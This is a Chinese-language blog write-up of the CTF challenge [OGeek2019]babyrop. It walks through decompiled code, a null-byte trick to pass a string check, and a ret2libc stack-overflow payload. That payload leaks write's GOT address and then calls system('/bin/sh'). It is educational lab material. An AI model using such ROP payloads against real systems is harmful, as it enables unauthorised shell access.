另外一个有趣的ROP利用([OGeek2019]babyrop)
有趣呢还真是
源文件是这个
动态库是这个
ida反编译的结果是:
1 | int __cdecl main() |
总结一下就是:先过sub_804871F
函数的关,然后在sub_80487D0
引发危险函数。
先过
sub_804871F
函数的关:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19int __cdecl sub_804871F(int a1)
{
size_t v1; // eax
char s; // [esp+Ch] [ebp-4Ch]
char buf[7]; // [esp+2Ch] [ebp-2Ch]
unsigned __int8 v5; // [esp+33h] [ebp-25h]
ssize_t v6; // [esp+4Ch] [ebp-Ch]
memset(&s, 0, 0x20u);
memset(buf, 0, 0x20u);
sprintf(&s, "%ld", a1);
v6 = read(0, buf, 0x20u);
buf[v6 - 1] = 0;
v1 = strlen(buf);
if ( strncmp(buf, &s, v1) )
exit(0);
write(1, "Correct\n", 8u);
return v5;
}在Line15,如果令
v1==0
,则不会exit
,故构造以\x00
开头的字符串,并覆盖v5=0xff
以为下文使用。1
payload = b'\x00' +b'\xff'*7
漏洞利用
1
2
3
4
5
6
7
8
9
10
11ssize_t __cdecl sub_80487D0(char a1)
{
ssize_t result; // eax
char buf; // [esp+11h] [ebp-E7h]
if ( a1 == 127 )
result = read(0, &buf, 0xC8u);
else
result = read(0, &buf, a1);
return result;
}Line6就需要上文
\xff
的帮助了,故可栈溢出,即先填充0xe7+0x4
个垃圾数据,然后为write
函数构造假栈帧。1
2
3
4
5
6payload = flat(['a'*(0xe7+4),
write_plt,
main_addr,
1,
write_got,
4])- Line1:垃圾数据
- Line2:返回地址,即
write
函数的入口 - Line3:伪造栈帧的返回地址,为了下一步重放操作,自然需要返回到
main
- Line4:参数1,即
write
函数的第一个参数,1
表示标准输出 - Line5:参数2,即
write
函数的第二个参数,表示输出的地址,此输出地址是write
函数的got
表的地址 - Line6:参数3,即
write
函数的第三个参数,表示输出的长度,32位系统为4
计算基址偏移,以得到
system
、/bin/sh
重放一次上述操作,到达脆弱函数处,运行危险函数,执行payload为:
1
2
3
4payload = flat(['a'*(0xe7+4),
sys_add,
'a'*4,
binsh_add])- Line1:垃圾数据
- Line2:返回地址,即
system
函数的入口 - Line3:伪造栈帧的返回地址,在此无所谓了
- Line4:
system
函数的参数
1 | # from pwn import * |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 xiong's blog!